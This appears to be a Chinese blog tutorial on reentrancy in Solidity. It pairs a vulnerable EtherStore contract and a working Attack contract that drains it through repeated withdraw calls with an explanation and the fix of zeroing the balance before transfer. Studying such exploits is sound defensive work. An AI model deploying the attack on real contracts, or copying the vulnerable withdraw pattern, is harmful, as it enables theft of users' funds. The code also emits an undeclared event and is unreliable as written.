关于智能合约的漏洞测试-重入攻击

关于智能合约的漏洞测试 -重入攻击

pragma solidity >=0.8.3;

contract EtherStore {
    
    
    mapping(address => uint) public balances;

    function deposit() public payable {
    
    
        balances[msg.sender] += msg.value;
        emit Balance(balances[msg.sender]);
    }

    function withdraw() public {
    
    
        uint bal = balances[msg.sender];
        require(bal > 0);
        /*
        *解决方案:余额更新为0,然后再执行转账操作
        */
		//balances[msg.sender] = 0;
		//emit Blance(0);
        (bool sent, ) = msg.sender.call{
    
    value: bal}("");
        require(sent, "Failed to send Ether");
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
    
    
        return address(this).balance;
    }
}

contract Attack {
    
    
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
    
    
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
    
    
        if (address(etherStore).balance >= 1) {
    
    
            etherStore.withdraw();
        }
    }

    function attack() external payable {
    
    
        require(msg.value >= 1);
        etherStore.deposit{
    
    value: 1}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
    
    
        return address(this).balance;
    }
}

合约存在的问题:“Reentrancy”(重入攻击)

  1. 漏洞分析:
    • EtherStore合约中,withdraw函数首先检查调用者的余额是否大于0,然后尝试向调用者发送相应的以太币。
    • Attack合约中,fallback函数会在EtherStore发送以太币到Attack合约时被调用,然后它会检查EtherStore的余额是否大于等于1,如果是,则调用EtherStorewithdraw函数。
    • Attack合约中的attack函数首先要求发送至少1个以太币,然后调用EtherStoredeposit函数存入1个以太币,接着立即调用EtherStorewithdraw函数。
  2. 危害:
    • 这个漏洞允许攻击者在withdraw函数执行过程中多次调用withdraw函数,从而重复提取以太币,导致合约余额被不断减少。
    • 攻击者可以通过在fallback函数中不断调用withdraw来实现重入攻击,从而使合约失去控制并耗尽所有以太币。
    • 这种攻击可能导致合约无法正常运行,用户无法提取他们的资金,甚至导致合约完全瘫痪。

因此,这个漏洞可能导致严重的资金损失和合约不稳定。为了解决这个问题,需要对withdraw函数进行修改,确保在转移资金之前,先更新调用者的余额,然后再执行转账操作。同时,需要避免在转账操作中调用未受信任的合约。

解决方案

在这个修改后的withdraw函数中,我们首先将用户的余额更新为0,然后再执行转账操作。这样就可以防止重入攻击,因为即使攻击者在转账操作中尝试再次调用withdraw函数,他们的余额已经被更新为0,所以不会再次提取资金。

另外,对于fallback函数,也需要进行相应的修改,确保在接收以太币后不会执行任何可能导致重入攻击的操作。

对于已经部署的合约,如果发现了安全漏洞,需要及时通知合约的所有用户,并尽快修复合约中的漏洞。修复后的合约需要重新部署,并确保用户转移他们的资金到修复后的合约中。